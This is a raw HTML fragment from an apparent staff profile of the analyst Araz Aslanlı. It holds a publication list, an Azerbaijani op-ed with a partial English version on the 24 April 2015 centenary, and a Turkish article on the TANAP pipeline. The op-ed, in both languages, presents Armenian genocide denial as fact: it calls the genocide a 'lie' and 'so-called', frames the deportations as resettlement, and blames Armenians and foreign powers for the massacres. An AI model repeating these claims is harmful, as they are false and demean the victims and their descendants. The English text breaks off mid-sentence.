10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><br style=\"margin-bottom:10px\"><br style=\"margin-bottom:10px\"></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı, “TANAP’ta Önemli Bir Aşama Daha Geçildi, 09 Aprel 2015-ci il”,&nbsp;<a href=\"http://ekoavrasya.net/duyuru.aspx?did=179&amp;Lang=TR\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">http://ekoavrasya.net/duyuru.aspx?did=179&amp;Lang=TR</a></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı,&nbsp;\"Xəzərdəki enerji oyununun “status problemi”\"<strong>, EcoLife jurnalı</strong>, Oktyabr 2015,<strong>&nbsp;</strong><a href=\"http://magazine.ecolifemg.com/#/36\" style=\"outline:none;font-weight:bold;color:#3a3b3b\">http://magazine.ecolifemg.com/#/36</a></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Kitab</strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı,&nbsp;<strong>Qarabağ problemi və Türkiyə-Ermənistan münasibətləri</strong>&nbsp;(Türkiyədə çapa hazırlanır)</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Araz Aslanlı, “Cənubi Qafqaz uğrunda qlobal mübarizə: 25 il öncə və hazırda” (Türkiyədə dərc olunacaq bir kitabın bir hissəsi kimi çapa hazırlanır)</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Tərcümə və redakte edilmiş kitab</strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>&nbsp;</strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Müəllif:&nbsp;</strong>Ramiz Mehdiyev “Dağlıq Qarabağ: Məxəzlərdən oxunmuş tarix”</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><hr style=\"color:#3a3b3b;font-weight:normal;line-height:15px;text-align:justify;width:1075px;background-color:#ffffff\"><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>24 aprel: kim uduzdu, kim uddu? - TƏHLİL 27 Aprel 2015</strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br style=\"margin-bottom:10px\"></strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Bakı - APA. Bir neçə il idi ki, regionu yaxından izləyənlər tərəfindən ən maraqla gözlənilən məqamlardan biri 24 aprel 2015-ci il tarixi idi: Uydurma soyqırımı iddiasını irəli sürənlərin “100-cü ildönümü” fəaliyyətləri Türkiyə üçün hansı sürprizlərlə nəticələnəcək, Türkiyəyə və Türk millətinə hansı zərbələr vurulacaqdı? Bu istiqamətdəki gözləntilər əbəs deyildi. Çünki uydurma soyqırımı iddialarının dünya gündəmində yer almasının səbəbkarları sadəcə Ermənistan və erməni lobbisi deyil, eyni zamanda regionla bağlı imperial maraqları olan güclər idi. O güclər ki, Anadoluya və Cənubi Qafqaza dair maraqlarını reallaşdırmaq üçün milli münaqişələrin alovlanmasına və kütləvi köçlərə səbəb olmuş, erməniləri Osmanlıya qarşı təşkilatlanmağa, silahlanmağa, terror və qətliamlar törətməyə təşviq etmişdilər. Bütün bunlar xüsusilə I Dünya Müharibəsi atmosferində şiddətləndiyi zaman Osmanlını idarə edənlər döyüş bölgələrindəki ermənilərin başqa ərazilərə köçürülməsi ilə bağlı qərar qəbul etmişdi. Qarşıdurmalar və köçlər zamanı xeyli sayda müsəlman əhali ilə yanaşı ermənilər də həyatını itirmişdi. Osmanlı I Dünya Müharibəsinin məğlub ölkələri cərgəsində olsa və bir neçə dövlət tərəfindən işğal edilsə də, Anadoluda başlayan qurtuluş müharibəsi bu işğalların ortadan qalxması ilə nəticələnmiş, imperialist güclər və onların vədləri ilə qətliamlar törətmiş erməni dəstələri xəyal qırıqlığı yaşamışdılar. Bu nəticədən narazı qaldıqları üçün də həm özlərinə təskinlik vermək, həm də məqsədlərini reallaşdırmaq istiqamətində səylərini davam etdirmək üçün “Erməni soyqırımı” yalanına sarılmışdılar. Bir yandan Ermənistanın və erməni lobbisinin təşkilatlı və ardıcıl fəaliyyəti, digər yandan da böyük güclərin bir hissəsinin öz maraqları naminə bu fəaliyyətlərə dəstək vermələri (bəzən də əslində bu cür fəaliyyətləri planlaşdırmaları və maliyyələşdirmələri) və bütün bunlar nəticəsində Türkiyə əleyhinə daha öncə qəbul olunmuş qərarlar 2015-ci il üçün Ermənistanı və Erməni lobbisini ümidləndirir, Türk tərəfində isə narahatlığa səbəb olurdu. Bu atmosfer içində başlayan 2015-ci ilin ilk sürprizini Türkiyə prezidenti Rəcəb Tayyib Ərdoğan etmişdi. Ərdoğan Azərbaycan prezidenti İlham Əliyev ilə birgə mətbuat konfransı zamanı bu il 24 apreldə Çanaqqala döyüşlərinin 100-cü ildönümünün qeyd olunacağını, bu tədbir üçün dünyanın bir çox dövlət və hökumət başçılarına dəvət göndərildiyini açıqlamışdı. Öz növbəsində Azərbaycan prezidenti İlham Əliyev aprelin 24-də Çanaqqala zəfərini birlikdə qeyd edəcəklərini bildirərək, bu tarixin seçilməsinə görə minnətdarlıq etmişdi. Beləliklə, 24 aprel tarixi artıq Türkiyə üçün yox, Ermənistan və ondan istifadə etməyə çalışan güclər üçün narahatlıq yaratmağa başlamışdı. Məsələyə dərhal reaksiya verən Ermənistan, 24 aprel tarixinin Çanaqqala döyüşü ilə əlaqəsinin olmadığını, bu tarixin sırf uydurma soyqırım tarixinə görə seçildiyiniiddia etmişdi. Şübhəsiz ki, bununla bağlı fərqli mövqelər bildirilə bilər. Amma məsələyə sırf tarixi aspektdən yanaşdıqda 24 aprelin Çanaqqala döyüşlərinin ildönümü kimi qeyd olunmasının mənəvi əsasları daha çoxdur, nəinki ermənilərin iddia etdiyi hadisələrin. Belə ki, Çanaqqalada dəniz döyüşləri 19 fevral - 18 mart 1915-ci il tarixlərdə getmiş, quru döyüşləri isə 1915-ci ilin 24 aprelini 25 aprelinə bağlayan gecə başlamış və 9 yanvar 1916-cı ildə başa çatmışdı. Sırf Ermənilər baxımından 24 aprel tarixi onların iddia etdiyi “kütləvi qətliamların yaşandığı” köçlərin başladığı tarix belə deyil. Daha əvvəl terror aksiyaları həyata keçirən, kiçik qətliamlar törədən erməni silahlı dəstələri aprelin 17-də Vanda təxminən 5 min nəfərin ölümü ilə nəticələnən böyük qətliamlar həyata keçirdikdən sonra aprelin 24-də Daşnak, Hnçak və Ramqavar silahlılarının (məsələn, İstanbulda yaşayan 77.735 ermənidən sadəcə terror fəaliyyətlərində iştirak edən 235 nəfərin) həbs olunması ilə bağlı qərar qəbul edilmişdi. Həbs olunanlar da edam edilməmiş, Ankaradakı həbsxanalara göndərilmişdilər. Qarşı tərəfin iddia etdiyi “kütləvi qətliamların yaşandığı” köçlərlə bağlı qərar isə 27 may 1915-ci il tarixdə qəbul edilmişdi. 24 aprel ərəfəsində Roma Papası I Fransiskin, Rusiya prezidenti Vladimir Putinin və Almaniya prezidenti Yoahim Qaukun açıqlamaları, Avropa Parlamentinin qərarı, Avstriya və Rusiya parlamentlərində qəbul olunan bəyanatlar Ermənistanı müəyyən dərəcədə sevindirsə də, bu ölkənin paytaxtında keçirilən və uzun illərdir hazırlıqları görülən “100-cü ildönümü” tədbirlərində sadəcə 4 dövlətin prezidentinin iştirak etməsi Ermənistan üçün kifayət qədər qanqaraldıcı oldu. Eyni zamanda nəzərə almaq lazımdır ki, bu 4 dövlətdən Yunan Kipri və Serbiyanın Türkiyənin regional siyasəti ilə bağlı reaksiyaları məlumdur, Rusiya və Fransa isə həm də 100 il əvvəlki hadisələri planlaşdıran dövlətlər arasındadır. Buna baxmayaraq Putin İrəvandakı çıxışında “soyqırım” ifadəsini işlətmədi, Fransa prezidenti Fransua Olland isə elə həmin gün Azərbaycana gələrək Ermənistana səfərinin motivini azacıq da olsa dəyişdirməyə, regiona səfərinin bir parçası görüntüsü verməyə çalışdı. Halbuki, qısa vaxt öncə elan edilməsinə baxmayaraq Çanaqqalada ilə bağlı keçirilən tədbirlərdə 20-dən çox dövlətin prezidenti, 4 dövlətin baş naziri, Avropa Şurasının Baş katibi Thorbjorn Jagland da daxil olmaqla bir neçə beynəlxalq təşkilatın rəhbəri, parlament sədrləri və nazirlər iştirak etdi. Ermənistanın iddiasını dəstəkləyən qərar və açıqlamalara gəldikdə isə Vatikan, Rusiya, Fransa və Avropa Parlamenti oxşar mövqeyi daha əvvəl də ortaya qoymuşdular. Yəni onların addımı bir növ “əvvəlkinin təkrarı”ndan ibarət oldu. Almaniyanın addımı yenilik olsa da, əslində gözlənilən idi. Çünki “soyqırım törədən ilk dövlət” imicini üstündən atmağa çalışır və az qala yəhudilərə qarşı törədilən soyqırımın da günahını Türkiyəyə yükləmək istəyir. Bunu illərdir planlaşdırır və düşünürdülər ki, “100-cü il” ərəfəsində bu mövqenin ortaya qoyulması Ermənistan cəhətdən daha təsirli olacaq, eyni zamanda dünyanın əksər yerlərində Türkiyə əleyhinə qərarlar və açıqlamalar olacağı üçün Almaniyaya reaksiya elə də sərt olmayacaq. Düşüncələrinin ikincihissəsi reallaşmadığı üçün Türkiyənin Almaniyaya reaksiyası Rusiya və Fransaya qarşı olduğu kimi sərt oldu. Nəticə kimi qeyd etmək mümkündür ki, bu il ilk dəfə 24 aprel tarixi Türkiyə və türklər tərəfindən əsasən narahatlıq və azacıq da qorxu ilə gözlənilən gün olmaqdan çıxdı, öz dövrünün əsl mahiyyətinə yaxınlaşdı. Bu mahiyyət isə böyük güclərin regionla bağlı imperial məqsədləri üçün “Erməni amili”dən istifadə etməyə çalışmalarından, ilk mərhələdə buna müəyyən dərəcədə nail olmalarından və Erməni tərəfinin də bundan müəyyən dərəcədə faydalanmasından, amma daha sonra Anadoludakı Türk gücü qarşısında geri çəkilmədən, erməni tərəfinin məyusluğundan və söz verənlərin əksəriyyəti tərəfindən yalnız qoyulmalarından ibarətdir. Bu mahiyyət bir daha göstərdi ki, regionumuzun ehtiyacı olan sülh və əməkdaşlıq mühiti kənar qüvvələrin dəstəyi ilə formalaşdırılan kin və nifrət hissləri ilə, işğalçılıq siyasəti ilə və qətliamlar törətməklə yox, işğalçılıqdan vaz keçməklə formalaşdırıla bilər. Türkiyə və Azərbaycanın kənarda hazırlanan planlar qarşısında birgə mövqe nümayiş etdirmələri hər iki dövlətin bəziləri eyni, bəziləri fərqli olan dostlarını və rəqiblərini düşünməyə və daha ehtiyatlı addımlar atmağa vadar edir. Enerji və təhlükəsizlik amilinə əsaslanan bu strategiya yəqin ki, gələcəkdə daha uğurlu nəticələrə səbəb olacaq. Digər tərəfdən qeyd etmək lazımdır ki, gedişat müsbətə doğru olmaqla yanaşı, vəziyyət tam arzuolunan səviyyədə deyil. Bəzən fəaliyyətlərin koordinasiya olunmaması arzuolunan nəticələrin tam əldə edilməsinə mane olur. Bundan əlavə bəzi türk rəsmilərin tarixə əsaslanmayan, Ermənistanın mövqeyini gücləndirən və türk ictimai rəyində çaşqınlıq yaradan açıqlamaları da mənfi amil kimi diqqət çəkir. Uydurma “Erməni soyqırımı” iddiaları ilə bağlı səylərin heç vaxt tam bitməyəcəyi aydındır. Artıq qeyd olunduğu kimi, bu məsələdə təkcə Ermənistan tərəfi maraqlı deyil, işin içində erməni lobbisi, regionda maraqları olan güclər də var. Həmin güclər “soyqırımı” silahından hər zaman Türkiyəyə qarşı istifadə etməyə çalışacaqlar. Eyni zamanda nəzərə almaq lazımdır ki, soyqırımı iddiası Ermənistan üçün uzaq keçmişdən daha çox yaxın keçmiş və gələcəklə bağlıdır. Ermənistan qondarma “erməni soyqırımı” məsələsini həm də Azərbaycan ərazilərini işğal etdiyini, bu ərazilərdə törətdiyi soyqırımı kölgədə qoymaq, işğalçılığının əvəzində cəza yox mükafat almaq üçün qabardır. Bu səbəbdən də, Ermənistanın iddialarının qarşısındakı fəaliyyətlər ilə bağlı seçilmiş mövcud strategiya, yəni bir yandan soyqırımı yalanının ortaya qoyulması, digər tərəfdən isə bu dövlətin hazırkı işğalçılıq siyasətinin və törətdiyi soyqırımların dünyaya tanıdılması düzgün xətt olardı. Sadəcə yuxarıda qeyd olunan əskikliklərin aradan qaldırılması daha ciddi nəticələrə səbəb olacaq. Araz Aslanlı, xüsusi olaraq APA Analitik Mərkəzi üçün</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><hr style=\"color:#3a3b3b;font-weight:normal;line-height:15px;text-align:justify;width:1075px;background-color:#ffffff\"><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>1TANAP’ta Önemli Bir Aşama Daha Geçildi (09.04.2015) http://ekoavrasya.net/duyuru.aspx?did=179&amp;Lang=TR</strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><br style=\"margin-bottom:10px\"></strong></p><table style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td><img src=\"http://www.khazar.org/media/15_10_23_araz.jpg\" width=\"870\" height=\"489\" style=\"border:0px;vertical-align:top;float:left;display:inline;margin-top:6px;margin-right:8px\"></td></tr></tbody></table><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>Araz Aslanlı Hazar Üniversitesi Öğretim Görevlisi, Kafkasya Uluslararası İlişkiler ve Stratejik Araştırmalar Merkezi Başkanı</strong></p><p style=\"font-weight:normal;margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Mart ayında Türkiye-Azerbaycan kardeşliği ve stratejik ortaklığı adına yine önemli gelişmelerin yaşandığı bir dönem oldu. Önce Trans Anadolu Doğal Gaz Boru Hattı Projesi (TANAP) ile ilgili ortaklık anlaşması imzalandı, ardından Kars’ta bu projenin temel atma töreni gerçekleştirildi. Törenlere her iki ülke adına katılım en üst düzeyde oldu. Törenlere katılım düzeyi ve törenlerde yapılan konuşmalardaki vurgular: özellikle Azerbaycan ve Türkiye’nin enerji projelerindeki kararlılığını, iradesini ve gücünü göstermekteydi. İlk başta sıradan bir tören olarak görünse de TANAP’ın temel atma töreninin anlamı büyüktü. Kısaca törenlerle ilgili bilgi verdikten sonra bu hususa da değineceğiz. Önceden de açıklandığı üzere, 13 Mart 2015’te, Boru Hatları ile Petrol Taşıma Anonim Şirketi (BOTAŞ) ile British Petroleum (BP) arasında Trans Anadolu Doğal Gaz Boru Hattı Projesi’ndeki pay dağılımına ilişkin olarak TANAP Ortaklar Anlaşması imzalandı. Ankara’da düzenlenen törene Türkiye Cumhuriyeti Enerji ve Tabii Kaynaklar Bakanı Taner Yıldız, Azerbaycan Cumhuriyeti Devlet Petrol Şirketi (SOCAR) Başkanı Rövneg Abdullayev, BP Azerbaycan-Gürcistan-Türkiye Başkanı Gordon Birrell, BOTAŞ Genel Müdürü Mehmet Konuk, TANAP Yönetim Kurulu Üyesi Vagif Aliyev ve TANAP Genel Müdürü Saltuk Düzyol katıldılar. Bu2anlaşmanın ardından TANAP’ta ortaklık payları; Güney Gaz Koridoru Şirketi (SGC) yüzde 58, BOTAŞ yüzde 30 ve BP yüzde 12, olarak belirlendi. Bundan dört gün sonra ise Kars’ta TANAP projesinin temel atma töreni ve Kars’ta Haydar Aliyev Anadolu Mesleki ve Anadolu Teknik Lisesi’nin açılış töreni gerçekleştirildi. TANAP’ın temel atma törenine; Türkiye Cumhurbaşkanı Recep Tayyip Erdoğan, Azerbaycan Cumhurbaşkanı İlham Aliyev, Gürcistan Cumhurbaşkanı Giorgi Margvelaşvili, AB Komisyonu Enerji Birliğinden Sorumlu Başkan Yardımcısı Maros Sefcovic, Türkiye Enerji ve Tabii Kaynaklar Bakanı Taner Yıldız, ABD Dışişleri Bakanlığı Uluslararası Enerji Konuları Koordinatörü ve Özel Temsilcisi Amos Hochstein ve TANAP Yönetim Kurulu Başkanı sıfatıyla SOCAR Başkanı Rövneg Abdullayev katılarak konuşma yaptılar. Bunun yanı sıra törene Azerbaycan, Bulgaristan, Gürcistan, Romanya ve Sırbistan Enerji Bakanları ile Makedonya Ekonomi Bakanı da katıldı. Okul açılışına Türkiye ve Azerbaycan Cumhurbaşkanları ile beraber Gürcistan Cumhurbaşkanının da katılması dikkat çeken bir husus oldu. Yapılan resmi açıklamaya göre TANAP Projesi çerçevesinde gazın 2018 yılında Türkiye’ye, 2019 yılında da Avrupa’ya ulaşması beklenmektedir. TANAP’ın ilk aşamada, Şahdeniz II kapsamında üretilecek yıllık 16 milyar m3 doğal gaz ile işlerlik kazanması, gazın 6 milyar m3’lük bölümünün Türkiye iç pazarına satışı, 10 milyar m3’lük bölümünün ise Avrupa pazarlarına ihracatı öngörülmektedir. 2020’de yıllık 16 milyar m3 olacak kapasitenin, 2023’te 23 milyar m3, 2026’da ise 31 milyar m3 seviyesine kadar ulaşması hedeflenmektedir. Hattın kapasitesinin ek yatırımlarla 60 milyar m3’e kadar çıkarılabileceği de yetkililerce ifade edilmiştir. TANAP’ın maliyetine gelince, başlangıçta 7 milyar dolar olarak hesaplanan maliyetin güzergah değişiklikleri nedeniyle 10 milyar doları bulması bekleniyor (son dönemde biraz daha yüksek rakamlardan da bahsediliyor). Hattın maliyetinin önemli kısmının Azerbaycan Devlet Petrol Fonu tarafından karşılanacağı açıklanmıştır. Peki, temel atma töreni neden önemliydi? Zaten TANAP ile ilgili kararlar 2011 yılından beri alınmamış mıydı? Gerçekten de 25 Ekim 2011’de İzmir’deki Türkiye-Azerbaycan Yüksek Düzeyli Stratejik İşbirliği Konseyi toplantısı sırasında iki ülke arasında konuya ilişkin anlaşma imzalanmıştı. “Türkiye Cumhuriyeti Hükümeti ile Azerbaycan Cumhuriyeti Hükümeti Arasında Türkiye Cumhuriyetine Doğal Gaz Satışına ve Azerbaycan Cumhuriyeti Kaynaklı Doğal Gazın Türkiye Cumhuriyeti Toprakları Üzerinden Transit Geçişine ve Doğal Gazın Türkiye Cumhuriyeti Toprakları Üzerinden Taşınması İçin Münhasır Boru Hattının Geliştirilmesine İlişkin Anlaşma” ile kastedilen boru hattının TANAP olduğu SOCAR Başkanı Rövneg Abdullayev tarafından 17 Kasım 2011’de, İstanbul’da düzenlenen 3. Karadeniz Enerji ve Ekonomik Forumu’nda açıklanmıştı. 24 Aralık 2011 tarihinde Ankara’da “Türkiye Cumhuriyeti Hükümeti ve Azerbaycan Cumhuriyeti Hükümeti Arasında Azerbaycan Cumhuriyeti Kaynaklı ve Azerbaycan Cumhuriyeti’nden Transit Geçen Doğal Gazın Türkiye Cumhuriyeti Toprakları Üzerinden Taşınması İçin Münhasır Boru Hattı Geliştirilmesine İlişkin Mutabakat Zaptı”, 26 Haziran 2012 tarihinde ise İstanbul’daki Başbakanlık Dolmabahçe Çalışma Ofisi’nde “Trans Anadolu Doğal Gaz Boru Hattı Projesi’nde Hükümetler Arası Anlaşma” imzalanmıştı. “Bu anlaşmalardan sonra3TANAP’ın temelinin atılmasından daha doğal ne olabilir ki” denebilir. Ama sektörü yakından bilenler bunun aslında ifade edildiği kadar kolay olmadığının farkındadırlar. Enerji oyunu büyük ve zor bir oyundur. Bu oyunda niyet birliği çoğu zaman yetersiz kalıyor. Çünkü çok sayıda oyuncu mevcut ve her ciddi oyuncu rakiplerinin hamlelerine karşı ciddi hamleler yapmaya çalışıyor. Bu hamleler içerisinde, hedef ülkede istikrarsızlık çıkarılması “en masumu”dur. İşi terör örgütleri oluşturmaya, desteklemeye, iç savaşlar çıkarmaya, ülkeleri bölmeye kadar götürenler de var. Bunun farkında olanlar tabii ki, ihtiyatlı hareket ederler. Bu bağlamda enerji kaynağına sahip çok sayıda ülkenin gündeme getirdiği bir çok proje olmuştur. Bunların çoğuna ilişkin niyet beyanları, en üst düzeyde yetkililerin katılımıyla imzalanmıştır. Bunlardan bir kısmına ilişkin olarak ise hatta anlaşmalar bile imzalanmış, ama bir süre sonra bunların sadece isimleri zaman zaman anılmış, daha sonra ise unutulmaya yüz tutulmuştur. Sadece enerji oyunu alevlenince zaman zaman gündeme gelirler, o kadar. En iddialı projelerden olan, arkasında çok sayıda devletin ve Avrupa Birliği’nin durduğu Nabucco’ya ilişkin yaşananları da biliyoruz (TANAP-Nabucco ilişkisi ayrı bir çalışmanın konusu olacağı için burada bu konuya değinmiyoruz.) Bütün bu anlattıklarımız TANAP’ın temelinin atılmasının aslında bir dönüm noktası olduğunu gösteriyor. Çünkü genellikle enerji projelerinde temel atma töreni, geri dönüşü olmayan yola girildiğinin göstergesidir. Genel olarak değerlendirecek olursak, TANAP’ı Türkiye ve Azerbaycan’ın giderek güçlenmelerinin, siyasi güçlerini ve ekonomik kapasitelerini artırmalarının, özgüvenlerini yükseltmelerinin ve stratejik ortaklıklarını daha üst düzeye taşımalarının bir sonucu olarak değerlendirmek mümkündür. Daha önceki bir değerlendirmemizde de ifade ettiğimiz üzere, on-on beş yıl önce bu tarz projeler için ekonomik ve siyasal anlamlarda dış desteğe aşırı ihtiyaç duyan Azerbaycan ve Türkiye, kendileri proje geliştirmiş ve gerçekleştirmeye başlamıştır. Projenin finansmanının tamamına yakınının bu iki ülke tarafından karşılanacak olması da bunun önemli göstergelerinden birisidir. Bakü-Tiflis-Ceyhan petrol boru hattı, Bakü-Tiflis-Erzurum doğal gaz boru hattı ve Bakü-Tiflis Kars demiryolu hattı projelerine ek olarak bu projenin gerçekleştirilmesi, Azerbaycan-Gürcistan-Türkiye hattını daha da güçlü kılacak, Azerbaycan ve Türkiye’nin küresel enerji oyunundaki konumunu güçlendirecektir. Gelecekte Hazar’ın iki kıyısındaki Türk devletleri arasındaki enerji işbirliğinin, özellikle Trans Hazar enerji işbirliğinin daha da gelişmesiyle bu konum farklı boyutlara taşınacaktır. TANAP ile Türkiye kendi enerji bağımlılığını da önemli ölçüde azaltacak, hem pahalı hem de “naz” ile doğal gaz satan Rusya ve İran’a bağımlılıktan bir ölçüde kurtulacaktır, ayrıca arz çeşitliliğini sağlayarak enerji güvenliğine katkı yapacaktır.</p></div><br></span></div>'),(561,368,'en',' Araz Aslanli',' Araz Aslanli','<div><div id=\"page-wrapper\" style=\"font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;background-attachment:initial;background-color:#ffffff;background-size:initial;background-origin:initial;background-clip:initial;background-position-y:0px;background:#ffffff\"><p> </p><div style=\"font-size:small;font-family:arial, helvetica, sans-serif\"><strong><strong>24 April: Who won? Who lost? - ANALYSIS 27 April 2015 Baku</strong>  <br></strong><strong><br style=\"margin-bottom:10px\"></strong><div>– APA. Those who follow the ongoing developments in the region had long been looking forward to 24 April 2015: What surprises would the “100-year activities” of those that put forward the so-called genocide claim result in for Turkey, and what blows were their activities meant to inflict on Turkey and the Turkic world? Expectations were not vain. Because it was not only Armenians and their lobby that kept the so-called genocide claims on the world agenda, but some powers with imperial interests in the region. To realize their interests in Anatolia and the South Caucasus, those powers instigated national confrontations and mass migration, inciting Armenians to take up arms and rise against the Ottoman Empire and to commit terrorist attacks and massacres. When the tension escalated during World War I, the Ottoman leaders decided to resettle those Armenians living in the conflict zones. During the clashes and resettlement in that while, large numbers of Muslim population along with Armenians lost their lives. Despite being among the losers of World War I and invaded by several countries, a war of independence launched in Anatolia resulted in an end to those invasions, and imperialist powers and Armenians who had committed massacres for some promises made to them ended up undermined. Dissatisfied with such an outcome, they resorted to the lie of “Armenian genocide” in order to both console themselves and fulfill their ambitions. Organized and consistent efforts of Armenia and the Armenian lobby, support from some big powers to these efforts, and previous resolutions adopted against Turkey consequently give hope to Armenia and the Armenian lobby for 2015 while raising concerns on the Turkish side. The first surprise of the year 2015 which started in this atmosphere has made by Turkish President Recep Tayyip Erdogan. At a joint press conference with Azerbaijani President Ilham Aliyev, Erdogan announced that an event would be held to celebrate the 100th anniversary of the Victory in the Battle of Canakkale on April 24 and the heads of state and government of many countries would be invited to this event. Azerbaijani President Ilham Aliyev said in his turn that he would mark the Canakkale victory together and thanked for the selection of this date. By this means, 24 April started to worry not only Turkey, but also Armenia and powers seeking to manipulate this country. With a prompt reaction to the matter, Armenia claimed that this date has nothing to do with the Battle of Canakkale and that it is merely the date chosen for the “genocide”. Of course, there can be varying position in this regard. But from a purely historic aspect, there are a lot of grounds for 24 April to be marked as the centenary of the Battle of Canakkale. The Naval battles in Canakkale took place in 19 February-18 March 1915, and the ground battles started on the night of 24-25 April 1915 and came to an end on 9 January 1916. As forArmenians, 24 April is not even the date when “mass killings” were carried out and migrations began. Armenian armed groups, which earlier committed terrorist attacks and massacres, killed about 5 thousand civilians in Van on April 17. Only after this, on April 24 it was decided to arrest Dashnak, Hunchak, and Ramgavar militants (only 235 out of 77,735 Armenians in Istanbul who were involved in terrorist attacks), and those who were arrested were not executed. The decision on the migration during which the massacre was allegedly committed was taken on May 27, 1915. Although the statements from Pope Francis I, Russian President Vladimir Putin and President of Germany Joachim Gauck, as well as the resolutions adopted by the European, Austrian and Russian parliaments made Armenians happy, the participation of the presidents of only four countries in the commemorative event held in Yerevan on the 100th anniversary of the so-called Armenian genocide disappointed them. It should be noted that the reaction of two of the four countries – the Republic of Cyprus and Serbia - to the regional policy of Turkey is known as Russia and France are among the countries that were planning the events of 100 years ago. Nevertheless, Putin refused to use the term “genocide” in his speech in Yerevan; Francois Hollande arrived in Azerbaijan on the same day and tried to imagine his trip to Armenia as part of his visit to the region. However, despite being declared a short time ago, the events dedicated to the Canakkale Victory were attended by presidents of more than 20 countries, four prime ministers, heads of several international organizations, including Secretary General of the Council of EuropeThorbjorn Jagland, speakers of parliaments and ministers. With regard to the decisions and statements supporting the Armenian claim, Vatican, Russia, France and the European Parliament have earlier demonstrated the similar approach. Their step was the \"repetition of the previous one\". Germany\'s step was innovation, but in fact it was expected. It is trying to repudiate the image of “the first state committing genocide”, almost trying to blame Turkey for the genocide committed against the Jews. They have been planning this for years that demonstrating this position on the eve of “the 100th anniversary” would be more effective in terms of Armenia, as well as Germany wouldn’t face strong response as there would be decisions and statements against Turkey all around the world. As the second part of their ideas haven’t realized, Turkey gave as strong response to Germany as it gave to Russia and France. As a result it can be noted that this year for the first time April 24 came closer to the true nature of its time and was not a day of anxiety or fear for Turkey and the Turkic world. This nature is that great powers tried to use \"Armenian factor\" for imperial purposes in the region, somehow achieved it in the first stage, the Armenian side benefited from it, but then they retreated as a result of Turkish power in Anatolia, the Armenian side was disappointed and left alone. This nature once again showed that an atmosphere of peace and cooperation needed in the region can be achieved through abandoning the aggression, but not through hatred formed with the support of external forces or massacres.Turkey and Azerbaijan’s demonstrating a single position against external plans, makes joint or different friends and rivals of the two countries think and take more prudent steps. This strategy, based on the energy and security factor, is likely to yield positive results in the future. On the other hand, it should be noted that, except for the positive dynamics, the situation is not satisfactory. Sometimes, incoordination of activities creates obstacles to achieving the desired results. Moreover, the historically unfounded statements by several Turkish officials, reinforcing Armenia’s position and causing confusion in Turkish public opinion draw attention as a negative factor. It’s clear that the 